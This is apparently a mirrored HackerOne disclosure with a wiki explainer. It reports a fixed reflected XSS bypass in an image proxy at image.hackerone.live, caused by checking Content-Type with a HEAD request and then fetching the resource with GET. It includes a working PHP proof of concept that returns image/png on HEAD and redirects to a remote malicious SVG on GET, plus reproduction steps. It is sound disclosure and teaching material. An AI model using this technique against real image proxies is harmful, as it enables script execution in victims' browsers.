Skip to content
XSS Disclosed report Intermediate

Bypass of #2035332 RXSS at image.hackerone.live via the `url` parameter

The image proxy at image.hackerone.live validated a resource's Content-Type using a HEAD request but then fetched the body with a GET request, so a server could answer HEAD with an image type and GET with a redirect to an SVG. An attacker could get script execution in the victim's Safari browser through the url parameter.

sudi Follow

Originally disclosed on HackerOne

  • Triaged in 4 days
  • Fixed in 10 days
  • Paid in 4 days
  • Disclosed after 11 days

Heyy there, I was able to bypass the fix for the reflected xss reported in #2035332

After the bug patch, the server now validates the Content-Type of the requested resource. The check is done by making a HEAD based request to the resource to get the Content-Type then if it corresponds to a valid image mime type a second request is made this time GET based to retrieve the page resource content.

Due to the HEAD based check it's very easy to bypass this check, just need to modify the server to response with a different Content-Type in case of GET and HEAD request

Example code:

PHP
<?php

if ($_SERVER['REQUEST_METHOD'] == 'HEAD') {
    header("Content-Type: image/png");
    exit;
}

header("Location: https://sudistark.github.io/evilsvgfile.svg");

?>

TOCTOU ( time-of-check to time-of-use) : At the time of check the application relies upon HEAD request but at the time of use relies upon GET request this allows the attacker to bypass the protection.

This xss works only in the Safari browser , I was able to find the problem why it doesn't works in other browser. It had do something with the Accept header.

Other browsers send the Accept header with these values:

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

The server applies sanitization if the Accept header is similar to above, in case of Safari it does something wierd (I don;t actually have a mac so not sure what's eactly it's sending in the Accept header) But the server doesn;t does any sanitization if the header value is like this

Accept: */*

Steps to reproduce:

1.Save this code in your webserver xss.php

PHP
<?php

if ($_SERVER['REQUEST_METHOD'] == 'HEAD') {
    header("Content-Type: image/png");
    exit;
}

header("Location: https://sudistark.github.io/evilsvgfile.svg");

?>

2.Then input your host in the url parameter: https://image.hackerone.live:8443/resource/md/get/url?url=http://yourhost/ss.php 3.Open this url in Safari browser and you should get the xss

image.png
image.png From the original on HackerOne

Impact

As the server is behind cloudflare I can;t directly make a request to the AWS metadata endpoint, but for the least I can confirm the xss with the provided poc

Thankyou Regards Sudhanshu

The original report as published on HackerOne, by sudi. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the Content-Type check and the content fetch were separate requests (HEAD then GET), letting the attacker return different responses to each, a time-of-check to time-of-use flaw.

Impact

Script execution in the victim's Safari browser; the reporter could not reach the AWS metadata endpoint because Cloudflare sits in front, and the XSS only worked in Safari.

What the attacker needed

Attacker-controlled web server; victim uses Safari; victim opens crafted proxy URL

How it was found

  1. Host a script that returns an image Content-Type for HEAD and a redirect to an SVG for GET.
  2. Put the attacker host in the url parameter of the image proxy.
  3. Open the resulting proxy URL in Safari to trigger the XSS.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A website had a feature that fetched images from other sites for you. To decide whether something was a safe image, it asked the other server 'what type is this?' but then downloaded the file with a separate request. The attacker's server gave a safe answer to the first question and a dangerous file to the second, so the browser ran attacker code.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by sudi

View all

14 more disclosed reports, best first.

More from HackerOne

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.